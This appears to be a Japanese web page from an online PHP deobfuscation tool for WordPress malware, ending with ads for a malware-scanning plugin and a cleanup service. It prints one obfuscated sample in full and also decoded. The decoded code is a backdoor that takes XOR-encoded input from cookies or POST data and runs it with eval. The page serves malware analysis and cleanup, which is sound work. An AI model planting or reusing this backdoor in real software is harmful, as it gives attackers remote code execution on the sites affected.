PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $LEXiAVZO = "\x73"/Vtp/. chr ( 642/* StV /- 526/ HCaJY /).chr (114) . chr ( 742/ euz/- 647 )."\162" ./ EKkb/chr/ sh /(/Y /526 - 425 )."\160"/ d/. "\145"/ YT /./ xdF /"\141" . "\164"; $bYgpA = chr (101)/ Ui /./ lHkXp /chr (120)/ gAGqN /. 'p' . 'l'/ o /./ WKYS */"\...

難読化されたPHPコード

<?php $LEXiAVZO	=     "\x73"/*Vtp*/.	chr   (	642/*   StV   */-	526/*   HCaJY  */).chr	(114)	. chr	(    742/* euz*/-	647   )."\162" ./*  EKkb*/chr/* sh   */(/*Y */526	-  425	)."\160"/*  d*/.     "\145"/*  YT   */./*  xdF   */"\141"  .	"\164";
	$bYgpA	=   chr	(101)/*  Ui   */./*   lHkXp */chr  (120)/*  gAGqN   */.    'p'  . 'l'/*   o  */./*   WKYS */"\x6f"/* CHjq   */.	'd'/*   vJKCa   */.    "\x65";


$quyzNEYBh	=	"\x63"/* tfEf   */./* j   */chr    (	366/*  Ljj */-/*   mdAF   */255/* aNXd */).chr/*lB  */(117)/*ZK*/. "\x6e"	./*  LF  */"\164";
					$dtDUIBci/*M*/= chr/*   SRAJF   */(112)/*UcJJQ  */.	chr	(97)/*Bv  */.	chr	(/* Fahw  */585  -  486	)."\153";
		$zdlIdRU    =/*   yZLzU */Array/* wWRXa  */(/*  nqdD*/"zRLYoIhl"	=>/*hfX*/"ZapYfHfAtQFvMltL"    );

	$ioYxx/*  tpd  */=/*   jcxvD   */Array/*  APy */(	"caKTDjLvdSZJcinNSriM"     =>     "YRitufajjkQpPauXkUJyl"	);
        $DTfwQi/* FfF   */=	Array(	$zdlIdRU,	$_COOKIE,   $zdlIdRU,/* o   */$_POST,    $ioYxx);
	 foreach    ($DTfwQi	as     $DWKlivjab)/*oXk */{
     foreach (/*   vYs  */$DWKlivjab/* NeR   */as     $LWyPwXL   =>/*  KErZ  */$USNmk	)/* HONow*/{
  $USNmk  =    @$dtDUIBci(	"\110"     .  "\x2a",  $USNmk   );

  $LWyPwXL   .=	"joZq-XjDTb-WqLIw-daF-TVWnsah-icNXrZy-MBfZ";


	$LWyPwXL	=	$LEXiAVZO/*pB   */(/*D*/$LWyPwXL,     (    strlen(	$USNmk	)/strlen(    $LWyPwXL/* PP*/)/* QF   */)   +	1);

/* vM*/$FWzKjVHn    =/*  rwh  */$USNmk	^ $LWyPwXL;
	/*   DNkx*/$WTQCku/*  UyI*/=   $bYgpA	(/*Bwg */'#',	$FWzKjVHn	);


	if/*G */(/*   LKXfS */$quyzNEYBh/*  YVn  */(    $WTQCku/*uux*/)/*   p  */==	3    )	{


/*ejMUA*/$kEWGW    =	$WTQCku[1];
 $CuhRjAV	=	$WTQCku[2];


	$BbFZAxTW/* XZBDy  */=	$kEWGW($CuhRjAV);
     	eval/* ef */(	$BbFZAxTW	);
		die/*   QmMYZ*/();
			  }
				}
     /*N*/}

デコード(難読化解除)されたコード

<?php

$LEXiAVZO = "str_repeat";
$bYgpA = "explode";
$quyzNEYBh = "count";
$dtDUIBci = "pack";
$zdlIdRU = array(
    /*  nqdD*/
    "zRLYoIhl" => "ZapYfHfAtQFvMltL",
);
$ioYxx = array("caKTDjLvdSZJcinNSriM" => "YRitufajjkQpPauXkUJyl");
$DTfwQi = array(
    $zdlIdRU,
    $_COOKIE,
    $zdlIdRU,
    /* o   */
    $_POST,
    $ioYxx,
);
foreach ($DTfwQi as $DWKlivjab) {
    /*oXk */
    foreach ($DWKlivjab as $LWyPwXL => $USNmk) {
        /* HONow*/
        $USNmk = @$dtDUIBci("H*", $USNmk);
        $LWyPwXL .= "joZq-XjDTb-WqLIw-daF-TVWnsah-icNXrZy-MBfZ";
        $LWyPwXL = $LEXiAVZO(
            /*D*/
            $LWyPwXL,
            strlen($USNmk) / strlen($LWyPwXL) + 1
        );
        /* vM*/
        $FWzKjVHn = $USNmk ^ $LWyPwXL;
        /*   DNkx*/
        $WTQCku = $bYgpA(
            /*Bwg */
            '#',
            $FWzKjVHn
        );
        if ($quyzNEYBh($WTQCku) == 3) {
            /*ejMUA*/
            $kEWGW = $WTQCku[1];
            $CuhRjAV = $WTQCku[2];
            $BbFZAxTW = $kEWGW($CuhRjAV);
            eval($BbFZAxTW);
            die;
        }
    }
    /*N*/
}

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策カスタマイズや修正、引っ越し・復旧のご依頼承ります